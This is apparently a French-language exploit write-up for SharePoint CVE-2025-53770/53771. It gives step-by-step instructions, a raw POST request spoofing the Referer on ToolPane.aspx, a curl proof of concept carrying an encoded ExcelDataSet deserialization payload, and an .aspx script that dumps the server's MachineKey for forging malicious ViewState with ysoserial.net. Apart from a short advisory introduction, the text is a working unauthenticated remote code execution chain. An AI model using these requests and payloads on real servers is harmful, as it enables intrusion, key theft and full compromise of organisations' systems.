
CVE-2025-53771 - SharePoint
La désérialisation de données non fiables dans Microsoft SharePoint Server local permet à un attaquant d'exécuter du code à distance et de compromettre le système. Microsoft est conscient de l'exploitation active et prépare une mise à jour complète. Vérifiez que les mesures d'atténuation de la documentation CVE sont en vigueur.
Il s'agit d'une exécution de code à distance (RCE) critique. Elle exploite une désérialisation non sécurisée de données non fiables, permettant à un attaquant d'exécuter du code arbitraire sans besoin d'authentification.
Il s'agit d'une vulnérabilité de contournement d'authentification (spoofing) via manipulation de l'en-tête HTTP (en particulier le champ Referer), permettant de contourner les contrôles d'accès et d'élever les privilèges vers RCE avec le CVE-53770.
Les deux remplacent des correctifs antérieurs (CVE-2025-49704 et CVE-2025-49706), qui ont été appliqués en juillet mais se sont révélés incomplets, permettant de nouveaux vecteurs d'attaque.
1 - (Contournement d'authentification) : /layouts/15/ToolPane.aspx
Étape 1 – Effectuez une requête POST vers l'URL vulnérable. Étape 2 – Téléchargez un fichier .aspx avec un code qui lit le MachineKey (comme votre extrait). Étape 3 – Générez un ViewState malveillant à l'aide d'outils comme ysoserial.net configurés avec ces clés.
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit HTTP/1.1
Host: sharepoint.lab.local
Referer: /_layouts/SignOut.aspx
Content-Length: 0
La PoC suivante démontre comment un attaquant peut exploiter la vulnérabilité pour extraire et décoder des charges malveillantes via le point de terminaison vulnérable.
Le domaine cible est intentionnellement remplacé par target.com.
Commande PoC 1
curl -sk -X POST 'https://target.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx' \
-H 'Referer: /_layouts/SignOut.aspx' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'MSOTlPn_Uri=https://target.com' \
--data-urlencode 'MSOTlPn_DWP=
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="H4sIAADEfmgA/4WRX2uzMBTG7/0Ukvs06ihjQb3ZbgobG1TYeO9OY6yBJpGTdHbfvudVu44x6FUkPn9+PEnK1nTdHuV8gE1P9uCCtKGFCBU7opNB9dpC4NYo9MF3kStvJen4rGKLZ4645bkU8c+c1Umalp33/0/62gGmC45pK9bA7qBZOpdI9OMrtpryM3ZR9RAee3B7HSpmXNAYdTuFTnGDVwvZKZiK9TEOUohxHFfj3crjXhRZlouPl+ftBMspIYJTVHlxEcQt13cdFTY6xHeEYdB4vaX7jet8vXERj8S/VeCcxicdtYrGuzf4OnhoSzGpftoaYykQ7FAXWbHm2T0v8qYoZP4g1+t/pbj+vyKIPxhKQUssEwvaeFpdTLOX4tfz18kZONVdDRICAAA=" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>' \
| grep -oP 'CompressedDataTable="\K[^&]+(?=")' \
| base64 -d 2>/dev/null \
| gzip -d 2>/dev/null \
| tee /tmp/sharepoint_decoded_payload.txt \
| grep -Ei 'IntruderScannerDetectionPayload|ExcelDataSet|divWaiting|ProgressTemplate|Scorecard'
Commande réelle utilisée dans l'analyse
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="C#" CODEPAGE="65001">
public void Page_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
Response.Write(cg.ValidationKey + "|" + cg.Validation + "|" + cg.DecryptionKey + "|" + cg.Decryption + "|" + cg.CompatibilityMode);
}
</script>